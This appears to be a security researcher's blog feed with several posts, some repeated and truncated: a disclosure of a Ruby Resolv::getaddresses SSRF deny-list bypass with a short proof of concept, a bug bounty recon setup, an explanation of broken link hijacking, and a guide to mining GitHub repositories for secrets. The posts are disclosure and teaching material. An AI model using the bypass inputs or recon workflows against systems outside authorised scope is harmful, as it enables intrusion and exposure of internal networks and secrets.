Resolv::getaddresses is OS-dependent, therefore by playing around with different IP formats one can return blank values. This bug can be abused to bypass exclusion lists often used to protect against SSRF.

💻 Machine 1	💻 Machine 2
ruby 2.3.3p222 (2016-11-21) [x86_64-linux-gnu]	ruby 2.3.1p112 (2016-04-26) [x86_64-linux-gnu]

💻 Machine 1

irb(main):002:0> Resolv.getaddresses("127.0.0.1")
=> ["127.0.0.1"]
irb(main):003:0> Resolv.getaddresses("localhost")
=> ["127.0.0.1"]
irb(main):004:0> Resolv.getaddresses("127.000.000.1")
=> ["127.0.0.1"]

💻 Machine 2

irb(main):008:0> Resolv.getaddresses("127.0.0.1")
=> ["127.0.0.1"]
irb(main):009:0> Resolv.getaddresses("localhost")
=> ["127.0.0.1"]
irb(main):010:0> Resolv.getaddresses("127.000.000.1")
=> [] # 😱

This issue is reproducible in the latest stable build of Ruby:

$ ruby -v
ruby 2.4.3p201 (2017-10-11 revision 60168) [x86_64-linux]
$ irb
irb(main):001:0> require 'resolv'
=> true
irb(main):002:0> Resolv.getaddresses("127.000.001")
=> []

Proof of concept

irb(main):001:0> require 'resolv'
=> true
irb(main):002:0> uri = "0x7f.1"
=> "0x7f.1"
irb(main):003:0> server_ips = Resolv.getaddresses(uri)
=> [] # The bug!
irb(main):004:0> blocked_ips = ["127.0.0.1", "::1", "0.0.0.0"]
=> ["127.0.0.1", "::1", "0.0.0.0"]
irb(main):005:0> (blocked_ips & server_ips).any?
=> false # Bypass

Root cause

The following section describes the root cause of this bug. I have added some comments in the code snippets to help the reader follow along.

When we run irb in debug mode (irb -d) the following error is returned:

irb(main):002:0> Resolv.getaddresses "127.1"
Exception `Resolv::DNS::Config::NXDomain' at /usr/lib/ruby/2.3.0/resolv.rb:549 - 127.1
Exception `Resolv::DNS::Config::NXDomain' at /usr/lib/ruby/2.3.0/resolv.rb:549 - 127.1
=> []

So the exception stems from fetch_resource() ^[1]. The “NXDOMAIN” response indicates that the resolver cannot find a corresponding PTR record. No surprise there, since, as we will see later on, resolv.rb uses the operating system’s resolver.

# Reverse DNS lookup on 💻 Machine 1.
$ nslookup 127.0.0.1
Server: 127.0.0.53
Address: 127.0.0.53#53

Non-authoritative answer:
1.0.0.127.in-addr.arpa name = localhost.

Authoritative answers can be found from:

$ nslookup 127.000.000.1
Server: 127.0.0.53
Address: 127.0.0.53#53

Non-authoritative answer:
Name: 127.000.000.1
Address: 127.0.0.1

# NXDOMAIN for 127.1.
$ nslookup 127.1
Server: 127.0.0.53
Address: 127.0.0.53#53

** server can't find 127.1: NXDOMAIN

Now the following code snippets demonstrate why Resolv::getaddresses is OS-dependent.

getaddresses takes the address (name) and passes it on to each_address where once it has been resolved it is appended to the ret array.

# File lib/resolv.rb, line 100
def getaddresses(name)
  # This is the "ret" array.
  ret = []
  # This is where "address" is appended to the "ret" array.
  each_address(name) {|address| ret << address}
  return ret
end

each_address runs the name through @resolvers.

# File lib/resolv.rb, line 109
def each_address(name)
    if AddressRegex =~ name
      yield name
      return
    end
    yielded = false
    # "name" is passed on to the resolver here.
    @resolvers.each {|r|
      r.each_address(name) {|address|
        yield address.to_s
        yielded = true
      }
      return if yielded
    }
end

@resolvers is initialised in initialize().

# File lib/resolv.rb, line 109
def initialize(resolvers=[Hosts.new, DNS.new])
    @resolvers = resolvers
end

Further on, initialize is actually initialised by setting config_info to nil which uses the default configuration in this case /etc/resolv.conf.

# File lib/resolv.rb, line 308
# Set to /etc/resolv.conf ¯\_(ツ)_/¯
def initialize(config_info=nil)
  @mutex = Thread::Mutex.new
  @config = Config.new(config_info)
  @initialized = nil
end

Here is the default configuration:

# File lib/resolv.rb, line 959
def Config.default_config_hash(filename="/etc/resolv.conf")
  if File.exist? filename
    config_hash = Config.parse_resolv_conf(filename)
  else
    if /mswin|cygwin|mingw|bccwin/ =~ RUBY_PLATFORM
      require 'win32/resolv'
      search, nameserver = Win32::Resolv.get_resolv_info
      config_hash = {}
      config_hash[:nameserver] = nameserver if nameserver
      config_hash[:search] = [search].flatten if search
    end
  end
  config_hash || {}
end

This demonstrates that Resolv::getaddresses is OS-dependent and that getaddresses returns an empty ret array when supplied with an IP address that fails during a reverse DNS lookup.

Mitigation

I suggest staying away from Resolv::getaddresses altogether and using the Socket library.

irb(main):002:0> Resolv.getaddresses("127.1")
=> []
irb(main):003:0> Socket.getaddrinfo("127.1", nil).sample[3]
=> "127.0.0.1"

The Ruby Core dev team suggested using the same library.

The right way to check an address is using OS's resolver instead of resolv.rb if the address is resolved by OS's resolver. For example, Addrinfo.getaddrinfo of socket library can be used.

Tanaka Akira

% ruby -rsocket -e '
as = Addrinfo.getaddrinfo("192.168.0.1", nil)
p as
p as.map {|a| a.ipv4_private? }
'
[#<Addrinfo: 192.168.0.1 TCP>, #<Addrinfo: 192.168.0.1 UDP>, #<Addrinfo: 192.168.0.1 SOCK_RAW>]
[true, true, true]

Affected Applications and gems

GitLab Community Edition and Enterprise Edition

Link to report: https://hackerone.com/reports/215105

The fix for Mustafa Hasan’s report (!17286) could be easily bypassed by abusing this bug. GitLab introduced an exclusion list, but would resolve the user-supplied address using Resolv::getaddresses and then compare the output to the values in the exclusion list. This meant that one could no longer use certain addresses such as http://127.0.0.1 and http://localhost/, which Mustafa Hasan used in the original report. The bypasses allowed me to scan a GitLab intance’s internal network.

GitLab have provided a patch: https://about.gitlab.com/2017/11/08/gitlab-10-dot-1-dot-2-security-release/.

private_address_check by John Downey

Link to report: https://github.com/jtdowney/private_address_check/issues/1

private_address_check is a Ruby gem that helps prevent SSRF. The actual filtering takes place in lib/private_address_check.rb. The process starts by attempting to resolve the user-supplied URL with Resolv::getaddresses and then compares the returned value with a the values in the blacklist. Once again I was able to use the same technique as before with GitLab to bypass this filter.

# File lib/private_address_check.rb, line 32
def resolves_to_private_address?(hostname)
  ips = Resolv.getaddresses(hostname)
  ips.any? do |ip| 
    private_address?(ip)
  end
end

Consequently, HackerOne was affected by this bypass, because they use the private_address_check gem to prevent SSRF on the “Integrations” panel: https://hackerone.com/{BBP}/integrations.

Unfortunately, I was unable to exploit this SSRF and therefore the issue only consisted of a filter bypass. HackerOne still encouraged me to report it, because they take any potential security issue into consideration and this bypass demonstrated a potential risk.

This issue was patched in version 0.4.0.

Unaffected applications and gems

ssrf_filter by Arkadiy Tetelman

This gem is not vulnerable, because it checks if the value returned is empty.

# File lib/ssrf_filter/ssrf_filter.rb, line 116
raise UnresolvedHostname, "Could not resolve hostname '#{hostname}'" if ip_addresses.empty?

irb(main):001:0> require 'ssrf_filter'
=> true
irb(main):002:0> SsrfFilter.get("http://127.1/")
SsrfFilter::UnresolvedHostname: Could not resolve hostname '127.1'
  from /var/lib/gems/2.3.0/gems/ssrf_filter-1.0.2/lib/ssrf_filter/ssrf_filter.rb:116:in `block (3 levels) in <class:SsrfFilter>'
  from /var/lib/gems/2.3.0/gems/ssrf_filter-1.0.2/lib/ssrf_filter/ssrf_filter.rb:107:in `times'
  from /var/lib/gems/2.3.0/gems/ssrf_filter-1.0.2/lib/ssrf_filter/ssrf_filter.rb:107:in `block (2 levels) in <class:SsrfFilter>'
  from (irb):2
  from /usr/bin/irb:11:in `<main>'

faraday-restrict-ip-addresses by Ben Lavender

This gem uses Addrinfo.getaddrinfo as recommended by the Ruby Code dev team.

# File lib/faraday/restrict_ip_addresses.rb, line 61
def addresses(hostname)
      Addrinfo.getaddrinfo(hostname, nil, :UNSPEC, :STREAM).map { |a| IPAddr.new(a.ip_address) }
    rescue SocketError => e
      # In case of invalid hostname, return an empty list of addresses
      []
end

Conclusion

The author would like to acknowledge the help provided by Tom Hudson and Yasin Soliman during the discovery of the bug.

Both John Downey and Arkadiy Tetelman were extremely responsive. John Downey was able to immediately provide a patch, and Arkadiy Tetelman helped me figure out why their gem was not affected by the issue.

Update (Friday, 10 November 2017): I expanded the “Root cause” section in order to better explain the actual issue.

A lightweight reconnaissance setup for bug bounty hunters

EdOverflow 🐸 — Sun, 29 Oct 2017 00:00:00 +0000

The following is a lightweight reconnaissance setup that should help you quickly gather information on a given target. We will run through the basic installation steps and then take a look at how to use this setup while hunting.

Please keep in mind that there are hundreds of tools out there and there is no way they could all be included in this write-up. This write-up is targeted towards people getting started or for those that want a simple setup. The author assumes that the reader already has a basic understanding of how to use a terminal. If not, the reader may want to start with https://linuxjourney.com/ before reading on.

Sublist3r

📀 Installation

$ git clone https://github.com/aboul3la/Sublist3r.git
$ cd Sublist3r
$ sudo pip install -r requirements.txt

💬 Aliases

alias sublist3r='python /path/to/Sublist3r/sublist3r.py -d '

alias sublist3r-one=". <(cat domains | awk '{print \"sublist3r \"$1 \" -o \" $1 \".txt\"}')"

dirsearch

📀 Installation

$ git clone https://github.com/maurosoria/dirsearch.git
$ cd dirsearch/db
$ wget https://gist.githubusercontent.com/EdOverflow/c4d6d8c43b315546892aa5dab67fdd6c/raw/7dc210b17d7742b46de340b824a0caa0f25cf3cc/open_redirect_wordlist.txt

💬 Aliases

alias dirsearch='python3 /path/to/dirsearch/dirsearch.py -u '

alias dirsearch-one=". <(cat domains | awk '{print \"dirsearch \"\$1 \" -e *\"}')"

alias openredirect=". <(cat domains | awk '{print \"dirsearch \"\$1 \" -w /path/to/dirsearch/db/open_redirect_wordlist.txt -e *\"}')"

webscreenshot

📀 Installation

Make sure to install PhantomJS too.

$ git clone https://github.com/maaaaz/webscreenshot.git

Steps to take when approaching a target

1) Verify target’s scope (*.example.com);

2) Run Sublist3r on example.com and output all findings to a file called output:

$ sublist3r example.com -o output
...
$ cat output
foo.example.com
bar.example.com
admin.example.com
dev.example.com
www.example.com
git.example.com

3) Check which domains resolve:

$ while read domain; do if host "$domain" > /dev/null; then echo $domain; fi; done < output >> domains

4) Run webscreenshot on the domains file:

$ python webscreenshot.py -i domains output example
...
$ eog example

💡 Tip: Look for 404 pages, login panels, directory listings and old-looking pages when reviewing the screenshots.

5) Run dirsearch on the domains file:

$ dirsearch-one

6) Check for open redirects using dirsearch on the domains file:

$ openredirect

📝 Exercises

The following tasks are left as exercises for the reader:

1) Write a shell script that performs the entire process when supplied with a single domain (example.com).

2) Practice going through the process by picking a couple bug bounty programs on HackerOne and Bugcrowd.

Conclusion

The author would like to acknowledge the help provided by @TomNomNom. The cover image is by João Silas.

A lightweight reconnaissance setup for bug bounty hunters

EdOverflow 🐸 — Sun, 29 Oct 2017 00:00:00 +0000

Sublist3r

📀 Installation

$ git clone https://github.com/aboul3la/Sublist3r.git
$ cd Sublist3r
$ sudo pip install -r requirements.txt

💬 Aliases

alias sublist3r='python /path/to/Sublist3r/sublist3r.py -d '


alias sublist3r-one=". <(cat domains | awk '{print \"sublist3r \"$1 \" -o \" $1 \".txt\"}')"

dirsearch

📀 Installation

$ git clone https://github.com/maurosoria/dirsearch.git
$ cd dirsearch/db
$ wget https://gist.githubusercontent.com/EdOverflow/c4d6d8c43b315546892aa5dab67fdd6c/raw/7dc210b17d7742b46de340b824a0caa0f25cf3cc/open_redirect_wordlist.txt

💬 Aliases

alias dirsearch='python3 /path/to/dirsearch/dirsearch.py -u '


alias dirsearch-one=". <(cat domains | awk '{print \"dirsearch \"\$1 \" -e *\"}')"


alias openredirect=". <(cat domains | awk '{print \"dirsearch \"\$1 \" -w /path/to/dirsearch/db/open_redirect_wordlist.txt -e *\"}')"

webscreenshot

📀 Installation

Make sure to install PhantomJS too.

$ git clone https://github.com/maaaaz/webscreenshot.git

Steps to take when approaching a target

1) Verify target’s scope (*.example.com);

2) Run Sublist3r on example.com and output all findings to a file called output:

$ sublist3r example.com -o output
...
$ cat output
foo.example.com
bar.example.com
admin.example.com
dev.example.com
www.example.com
git.example.com

3) Check which domains resolve:

$ while read domain; do if host "$domain" > /dev/null; then echo $domain; fi; done < output >> domains

4) Run webscreenshot on the domains file:

$ python webscreenshot.py -i domains output example
...
$ eog example

💡 Tip: Look for 404 pages, login panels, directory listings and old-looking pages when reviewing the screenshots.

5) Run dirsearch on the domains file:

$ dirsearch-one

6) Check for open redirects using dirsearch on the domains file:

$ openredirect

📝 Exercises

The following tasks are left as exercises for the reader:

1) Write a shell script that performs the entire process when supplied with a single domain (example.com).

2) Practice going through the process by picking a couple bug bounty programs on HackerOne and Bugcrowd.

Conclusion

The author would like to acknowledge the help provided by @TomNomNom. The cover image is by João Silas.

Broken Link Hijacking - How expired links can be exploited.

EdOverflow 🐸 — Sun, 03 Sep 2017 00:00:00 +0000

Broken Link Hijacking (BLH) exists whenever a target links to an expired domain or page. Broken Link Hijacking comes in two forms, reflected and stored. This issue has been exploited in the wild numerous times, but surprisingly few researchers actively look for broken links in bug bounty programs.

This post aims to give you a basic overview of the different issues that could possibly arise if a target links to an expired endpoint.

Stored Broken Link Hijacking

Impersonation

When a company deletes their social media account they might forget to remove the link from their website. An attacker can create an account on the social media platform with that username and impersonate the company.

External JS File Hijacking

If a target has an external JS file and that domain/page is expired, you can claim it and then you essentially have stored XSS.

Say for instance example.edu has an external JS file hosted on example.com and example.com has expired.

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width">
  <title>Broken Link Hijacking</title>
</head>
<body>
  <script src="//example.com/script.js"></script>
</body>
</html>

Now you can takeover example.com and can control the JS file on example.edu.

Information Leakage

Hijacking broken links which are missing the rel="noopener noreferrer" attribute could leak information to the attacker-controlled page. [1]

Also sometimes companies still link to expired analytics pages. If the attacker can hijack that expired page, they can monitor traffic and possibly gather valuable information about the target’s users. Someone actually once found one of these on Gratipay’s program: https://hackerone.com/reports/111078.

Content Hijacking

An attacker can hijack the content of a page by taking over the expired domain/page. A good example of this can be seen in @MisterCh0c’s blog post “How I hijacked top celebrities tweets including Katy Perry, Shakira…”.

Reflected Broken Link Hijacking

You know that feeling when you think you have reflected XSS, but cannot break out of the href or src attributes?

If the link is a CDN or a file hosting service, you can construct a malicious link and host that file on the service. Admittedly, these are very rare, but definitely something to keep in mind in case you come across this issue in the future.

Example Scenario

http://example.edu/?version=1.0.0 returns a specific version of the JS file being hosted on cdn.example.

<!-- http://example.edu/?version=1.0.0 -->
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width">
  <title>Broken Link Hijacking</title>
</head>
<body>
  <script src="//cdn.example/1.0.0/script.js"></script>
</body>
</html>

cdn.example allows us to add our project and host a malicious JS file.

<!-- http://example.edu/?link=maliciouspath -->
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width">
  <title>Broken Link Hijacking</title>
</head>
<body>
  <script src="//cdn.example/maliciouspath/script.js"></script>
</body>
</html>

Tools

broken-link-checker

broken-link-checker will crawl a target and look for broken links. Whenever I use this tool I like to run:

$ blc -rof --filter-level 3 https://example.com/

After a while I often find myself adapting it to something like this in order to prevent false positives:

$ blc -rfoi --exclude linkedin.com --exclude youtube.com --filter-level 3 https://example.com/

Link: https://github.com/stevenvachon/broken-link-checker

twitterBFTD

misterch0c released a little script that finds expired domains in tweets.

Link: https://github.com/misterch0c/twitterBFTD

References

[1] GitHub. (2017). cure53/HTTPLeaks. [online] Available at: https://github.com/cure53/HTTPLeaks [Accessed 3 Sep. 2017].

Broken Link Hijacking - How expired links can be exploited.

EdOverflow 🐸 — Sun, 03 Sep 2017 00:00:00 +0000

This post aims to give you a basic overview of the different issues that could possibly arise if a target links to an expired endpoint.

Stored Broken Link Hijacking

Impersonation

External JS File Hijacking

If a target has an external JS file and that domain/page is expired, you can claim it and then you essentially have stored XSS.

Say for instance example.edu has an external JS file hosted on example.com and example.com has expired.

<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width">
  <title>Broken Link Hijacking</title>
</head>
<body>
  <script src="//example.com/script.js"></script>
</body>
</html>

Now you can takeover example.com and can control the JS file on example.edu.

Information Leakage

Hijacking broken links which are missing the rel="noopener noreferrer" attribute could leak information to the attacker-controlled page. [1]

Content Hijacking

Reflected Broken Link Hijacking

You know that feeling when you think you have reflected XSS, but cannot break out of the href or src attributes?

Example Scenario

http://example.edu/?version=1.0.0 returns a specific version of the JS file being hosted on cdn.example.

<!-- http://example.edu/?version=1.0.0 -->
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width">
  <title>Broken Link Hijacking</title>
</head>
<body>
  <script src="//cdn.example/1.0.0/script.js"></script>
</body>
</html>

cdn.example allows us to add our project and host a malicious JS file.

<!-- http://example.edu/?link=maliciouspath -->
<!DOCTYPE html>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width">
  <title>Broken Link Hijacking</title>
</head>
<body>
  <script src="//cdn.example/maliciouspath/script.js"></script>
</body>
</html>

Tools

broken-link-checker

broken-link-checker will crawl a target and look for broken links. Whenever I use this tool I like to run:

$ blc -rof --filter-level 3 https://example.com/

After a while I often find myself adapting it to something like this in order to prevent false positives:

$ blc -rfoi --exclude linkedin.com --exclude youtube.com --filter-level 3 https://example.com/

Link: https://github.com/stevenvachon/broken-link-checker

twitterBFTD

misterch0c released a little script that finds expired domains in tweets.

Link: https://github.com/misterch0c/twitterBFTD

References

[1] GitHub. (2017). cure53/HTTPLeaks. [online] Available at: https://github.com/cure53/HTTPLeaks [Accessed 3 Sep. 2017].

GitHub for Bug Bounty Hunters

EdOverflow 🐸 — Tue, 08 Aug 2017 00:00:00 +0000

GitHub repositories can disclose all sorts of potentially valuable information for bug bounty hunters. The targets do not always have to be open source for there to be issues. Organization members and their open source projects can sometimes accidentally expose information that could be used against the target company. in this article I will give you a brief overview that should help you get started targeting GitHub repositories for vulnerabilities and for general recon.

Mass Cloning

You can just do your research on github.com, but I would suggest cloning all the target’s repositories so that you can run your tests locally. I would highly recommend @mazen160’s GitHubCloner. Just run the script and you should be good to go.

$ python githubcloner.py --org organization -o /tmp/output

Static Analysis

When it comes to static analysis it is very important to start by actually understanding the project you are targeting. Run the project and use the main features. I call this the “Jobert step”, because I have heard that Jobert spends the first 30 minutes of every hunt using the project and understanding the target before finding vulnerabilities.

Manual analysis

This is where the “learn to make it, then break it” mentality comes into play. If you can familiarize yourself with a programming language, you should know the ins and outs of what to do and what not to do in terms of security.

Once you understand the target and its architecture, you can start grepping! Search for keywords that you are interested in, understand best or know that developers tend to mess up. Here is a basic list of some of the keywords I will look for during a general first assessment:

API and key. (Get some more endpoints and find API keys.)
token
secret
TODO
password
vulnerable 😜
http:// & https://

Then I will focus on terms that make me smile when developers mess things up:

CSRF
random
hash
MD5, SHA-1, SHA-2, etc.
HMAC

When you get used to certain vulnerability types, you will start knowing exactly what to look for in a specific language. So for instance, when I want to find a timing leak in Java, I know that Arrays.equals() and HMAC combined causes that issue.

Another vital step is to look through the commit history. You will be amazed at the amount of information you can gather from commits. Sometimes I see contributors thinking they have removed credentials, when they stay in the commit history. I have come across old endpoints that still work thanks to the git history. Aside from current issues, you might discover past issues that could potentially be bypassed thanks to old commits.

Tools

Sometimes automating the boring tasks can help give you a basic overview of what to look for. It is important to note, that you should never copy and paste findings from scanners into your reports. You will get a lot of false positives, therefore you must always look into the possible issue manually to ensure exploitability.

When I target Python projects, the main tool that I use is Bandit. Bandit will find common issues, but will often return low hanging fruit or false positives. So be careful when using it. It should definitely not be relied on.

$ bandit -r path/to/your/code -ll

If you want to find outdated Python modules in a project, paste the contents of the requirements.txt in https://pyup.io/tools/requirements-checker/. This will show you if there were any security issues in the specified version of the module.

Snyk.io is a wonderful tool for checking dependencies. The platform supports a wide variety of languages.

For recon, many researchers suggest using Gitrob. This tool will look for sensitive information in public GitHub repositories.

$ gitrob analyze acme,johndoe,janedoe

For finding high entropy strings (API keys, tokens, passswords, etc.), you can use truffleHog.

$ truffleHog https://github.com/dxa4481/truffleHog.git

If you are looking for an all-in-one secrets finder, git-all-secrets by @anshuman_bh is the tool for you. This tool combines multiple open source secrets finders into one big tool.

For Ruby on Rails apps, I recommend Brakeman. Brakeman is a static analysis security scanner that can find a ton of various security issues in code.

Use LinkFinder by Gerben Javado to find endpoints in the JS files of the repository.

$ python linkfinder.py -i 'path/to/your/code/*.js' -r ^/api/ -o cli

Social Engineering

OK, seriously do not social engineer the project owners.

Reporting your Findings

As always when it comes to bug bounty hunting, read the program’s policy thoroughly. Very rarely does a program accept reports through GitHub. Contact the security team or if possible use a bug bounty platform such as HackerOne or Bugcrowd.

On a side note, a cool thing about white-box testing is that since you have access to the code it can be easier to suggest a fix or submit a patch. 😉

GitHub for Bug Bounty Hunters

EdOverflow 🐸 — Tue, 08 Aug 2017 00:00:00 +0000

Mass Cloning

$ python githubcloner.py --org organization -o /tmp/output

Static Analysis

Manual analysis

API and key. (Get some more endpoints and find API keys.)
token
secret
TODO
password
vulnerable 😜
http:// & https://

Then I will focus on terms that make me smile when developers mess things up:

CSRF
random
hash
MD5, SHA-1, SHA-2, etc.
HMAC

Tools

$ bandit -r path/to/your/code -ll

Snyk.io is a wonderful tool for checking dependencies. The platform supports a wide variety of languages.

For recon, many researchers suggest using Gitrob. This tool will look for sensitive information in public GitHub repositories.

$ gitrob analyze acme,johndoe,janedoe

For finding high entropy strings (API keys, tokens, passswords, etc.), you can use truffleHog.

$ truffleHog https://github.com/dxa4481/truffleHog.git

If you are looking for an all-in-one secrets finder, git-all-secrets by @anshuman_bh is the tool for you. This tool combines multiple open source secrets finders into one big tool.

For Ruby on Rails apps, I recommend Brakeman. Brakeman is a static analysis security scanner that can find a ton of various security issues in code.

Use LinkFinder by Gerben Javado to find endpoints in the JS files of the repository.

$ python linkfinder.py -i 'path/to/your/code/*.js' -r ^/api/ -o cli

Social Engineering

OK, seriously do not social engineer the project owners.

Reporting your Findings

On a side note, a cool thing about white-box testing is that since you have access to the code it can be easier to suggest a fix or submit a patch. 😉